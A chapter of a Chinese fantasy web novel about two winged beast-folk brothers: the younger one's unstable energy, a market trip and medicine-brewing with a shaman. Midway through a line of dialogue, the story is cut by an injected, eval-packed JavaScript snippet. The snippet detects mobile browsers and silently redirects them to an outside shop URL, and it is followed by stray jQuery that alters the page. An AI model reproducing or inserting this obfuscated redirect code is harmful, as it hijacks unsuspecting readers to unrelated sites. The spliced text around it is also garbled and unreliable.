星寂结束后的第三个黎明，林终在持续不断的窌窣声中醒来。晨光尚未完全驱散夜色，木屋内弥漫着草药与羽毛混合的特殊气味。
林界蜷在他身边，灰褐色羽毛以异常频率抖动着。林终伸手按住弟弟的翅根，感受到皮肤下活跃的热流。
"又开始了？"他的声音带着刚醒的低哑，"你这能量波动得比发情的兔子还活泼。"
林界迷迷糊糊蹭过来，把发烫的脸埋进林终颈侧的羽毛："哥...难受..."
这是星寂后的常态。林界的能量波动日益频繁，陆征配制的药剂只能暂时缓解。林终利落地起身取来温着的药碗，看着林界小口吞咽苦涩的药汁。
"喝完了？"林终接过空碗，"今天要去集市。希望那些商人带的货比你的睡相更让人省心。"
林界的眼睛顿时亮了："能买些蜂蜜吗？这药苦得能让石头开裂。"
这个夸张的说法让林终眉梢微挑。他几乎要忘记，身边这个讨价还价的少年，很可能就是引发星寂的元凶。
虎族部落的集市比往常热闹。星寂结束让各族兽人都松了口气，交易区挤满了各式身影。林终敏锐地注意到所到之处引起的骚动——银翼与金翼的组合太过显眼。
"看，是预言中的双翼..."兽人们的低语混杂着敬畏与好奇。
林界不自觉地靠近。林终展开银翼形成保护弧度："先去解决你的蜂蜜。希望商人不会因为你这副病恹恹的样子就抬价。"
在熊族商人的摊位前，林界认真挑选蜂蜜。他仔细嗅闻每个陶罐，询问产地和花期。这一刻，他就像个普通的年轻兽人。
"这罐。"林界选定深琥珀色的蜂蜜，"闻起来有椴树的味道，应该能盖过草药的怪味。"
商人咧嘴露出利齿："小兄弟好眼光！这是北境雪椴花蜜，最能安抚心神，就是价格..."
林终抛出一袋兽骨币："希望它值得这个价。"
付钱时，他注意到林界被旁边摊位的饰品吸引。那些彩羽和亮石串成的小玩意儿在朝阳下闪光。
"怎么？"林终挑眉，"星寂之主也会被这种小东西吸引？"
林界立即收回视线，耳羽却不自觉地抖动："只是觉得颜色特别..."
林终买下那串蓝羽饰品，系在林界的翅根上："就当是庆祝我们没在星寂里变成烤鸟的纪念品。"
林界愣住，耳羽微微竖起，脸上泛起红晕。他低下头小声嘟囔"谢谢"，指尖珍惜地抚过随风轻颤的蓝羽。
集市另一端突然传来骚动。年轻狼族兽人倒地抽搐，眼中闪过不正常红光——这是星寂后遗症"余烬症"。
林界立即上前，暗金羽翼划出流畅弧度。他蹲下身轻轻按住狼族兽人汗湿的额头："没事的，只是噩梦醒了。"
在他的安抚下，狼族兽人很快平静，眼中红光消退。围观兽人们发出惊叹，目光中多了真实敬意。
"你什么时候学会的这种把戏？"回程路上林终问道。
林界歪头思考，翅尖扫过路边草叶："就像哄小孩子睡觉？我能感觉到他们的恐惧，就像能感觉到哥哥的羽毛有多..."他顿住，耳羽可疑地抖动，"多容易掉毛。"
林终冷冷瞥他一眼："看来某人的药量需要调整了。"
正午时分，林界的能量波动再次加剧。暗金羽翼不受控制地完全展开，在烈日下流淌熔金光泽，扭曲周围空气。
"哥..."林界声音压抑痛苦，"这次不太一样..."
林终利落扶他到赤焰泉边。泉水温度似乎有安抚作用。他熟练地梳理弟弟凌乱的羽毛，感受指尖下的高热。
"忍一忍。要是你把我的羽毛点着了，就把你扔进泉眼里降温。"
夕阳西沉时症状终于缓解。林界疲惫地靠在林终肩上，暗金羽翼无力垂落，在泉水中映出破碎金光。
"哥，"他声音很轻，"如果有一天我变得不再是我..."
"你还是你。"林终打断，"毕竟再怎么变，也不可能比现在更让人操心。"
这句话脱口而出后，林终自己略微一怔。这不像维护员该说的台词。
林界也愣住。他抬头，眼中金芒在暮色中明灭，最终化作真实的微笑。
那晚林终做了个梦。梦中没有星辰崩坏，只有一对舒展的羽翼——银与金在晨光中交叠。
醒来时发现林界不知何时钻到他的翅膀下，像幼时那样蜷缩着。少年呼吸平稳，嘴角带着安心弧度，一只手无意识抓着他的尾羽。
林终盯着那缕被攥变形的羽毛看了片刻，最终只是轻轻调整姿势。
"这笔账明天再算。"他对着空气低语，重新闭眼。
窗外，新的一天正要开始。赤焰泉在晨光中泛起细碎波纹，远方天际线处隐约有什么正在改变——但此刻，一切都还来得及。
林界在晨光中醒来时，发现自己在哥哥的羽翼下睡了一夜。他轻轻松开攥着的尾羽，那缕羽毛已经恢复原状，显然被仔细整理过。
"醒了就起来。"林终的声音从头顶传来，"你压着我的翅膀了。"
林界连忙起身，耳羽因为窘迫而紧贴头皮："对不起，哥..."
"道歉有用的话，部落还要守卫做什么。"林终展开银翼，仔细检查被压皱的羽毛，"今天你要帮陆征处理双倍药材作为补偿。"
"是！"林界立即应下，暗金羽翼因为期待微微展开。能跟着陆征学习医术是他最近最感兴趣的事。
巫医的木屋里堆满新采集的草药。陆征正在分拣药材，看到他们进来只是抬了抬眼："林界去处理银叶草，记得把叶脉完整剥离。林终来得正好，帮我把这些石根磨成粉。"
林终在石臼前坐下，看着林界熟练地拿起小刀开始处理银叶草。少年的动作精准得不像新手，每次下刀都恰到好处地避开叶脉。
"你以前做过这个？"林终状似随意地问。
林界动作不停："看陆征做过几次就会了。很简单。"
确实简单——如果忽略那些银叶草在他指尖泛起的异常光泽的话。林终注意到，经过林界处理的药材都带着微弱的能量波动，药效似乎被增强了。
陆征显然也发现了这点。巫医拿起一片林界处理好的银叶草对着光观察，眼中闪过深思。
"今天的药材品质很好。"陆征最终只是淡淡评价，"林界可以去仓库取些红石粉来，我们需要调配新药剂。"
林界离开后，木屋里陷入短暂沉默。石臼与药材的摩擦声有节奏地响着，直到陆征再次开口：
"他的情况在稳定下来。"
林终研磨的动作不停："暂时而已。"
"你注意到药材的变化了吗？"
"注意到了。"林终放下石杵，"这不是坏事。"
陆征深深看他一眼："确实不是坏事。但任何异常都会引起注意。蛇族昨天派来使者，询问星寂后出现的特殊个体。"
林终眼神微冷："他们想要什么？"
"知识。力量。或者只是确认威胁。"陆征将分拣好的药材装进陶罐，"他们特别问起了''那双翅膀''。"
林界抱着石罐回来时，感受到屋里微妙的气氛："发生什么事了吗
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16824042|191093||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
？"
"在讨论你的功课。"林终接过石罐，"陆征说你最近进步很快。"
少年耳羽立即高兴地竖起："我真的在努力学习！"
"看得出来。"林终打开石罐，红石粉的色泽比往常更加鲜艳，"也许太快了。"
接下来的配药过程中，林终仔细观察着林界的每个动作。少年配药时手指会在不经意间划过特殊轨迹，那些轨迹引动着周围能量的细微流动。更令人惊讶的是，经过他手的药剂都带着淡淡的金芒。
"今天的药剂..."林界举起刚调配好的药瓶，眼中带着困惑，"好像不太一样。"
何止不一样。凌寺的扫描显示药剂中的能量活性提升了三倍，而且与林界的能量特征高度契合。
"看来你的''天赋''不仅限于处理药材。"林终拿过药瓶，"今晚开始试药量减半。"
林界的耳羽瞬间垂下："为什么？"
"因为我不想某天醒来发现你把自己变成了会发光的蘑菇。"
配药工作持续到午后。当最后一份药剂封装完毕，林界已经累得耳朵都竖不起来了。返程时他走得摇摇晃晃，两次差点被自己的翅膀绊倒。
"看路。"林终伸手扶住他，"如果你现在摔进泥坑，我绝对不会拉你出来。"
"哥，"林界靠在他身上小声说，"我好像又有点..."
话未说完，暗金羽翼已经不受控制地展开。这次发作比之前温和，但来得突然。林终利落地将弟弟带到路边树荫下，取出随身携带的药剂。
"喝掉。"
林界小口喝着药剂，手指紧紧抓着林终的衣袖："对不起..."
"道歉的话留到你能控制这些能量再说。"林终检查着他的状况，"今天配药时你是不是用了什么特殊方法？"
林界迷茫地眨眼："就是按陆征教的方法..."
"再想想。"
少年认真回忆，暗金羽翼无意识地轻颤："我只是...希望药剂效果更好。像这样..."他伸出手指，在空中划出半个弧线就停住了，"我不记得了。"
林终握住他的手腕："够了。下次配药时专心点。"
症状平息后，林界靠在树干上休息。阳光透过枝叶在他脸上投下斑驳光影，那些逐渐浮现的金色纹路若隐若现。
"哥，如果我永远都这样..."
"那就永远这样。"林终打断他，"反正我已经习惯了。"
这句话让林界怔住。他低下头，耳羽轻轻抖动："谢谢。"
"不必。"林终起身，"能自己走吗？还是需要我找个担架？"
林界立即站起来："我能走！"
回程路上，林界亦步亦趋地跟在林终身后。夕阳将他们的影子拉长，银翼与金翼的影子在尘土中交叠。
"哥，"林界在部落大门前停下，"明天还能一起去集市吗？"
林终回头看他一眼："如果你今晚不再突发状况的话。"
"我保证！"
这个保证在林终听来毫无分量。但当夜林界确实睡得很安稳，没有能量波动，没有梦呓，只是安静地蜷在兄长羽翼下，像只普通的年轻鸮鸟。
月光透过窗棂洒落，林终注视着弟弟的睡颜。那些金色纹路在夜色中微微发光，像是某种古老的文字。
他伸手轻触林界翅根的温度，确认一切正常。在这个动作中，有什么东西悄然改变——或许是从怀疑到接受，或许是从责任到习惯。
无论如何，这场戏还要继续演下去。在真相大白之前，在这个世界迎来真正考验之前。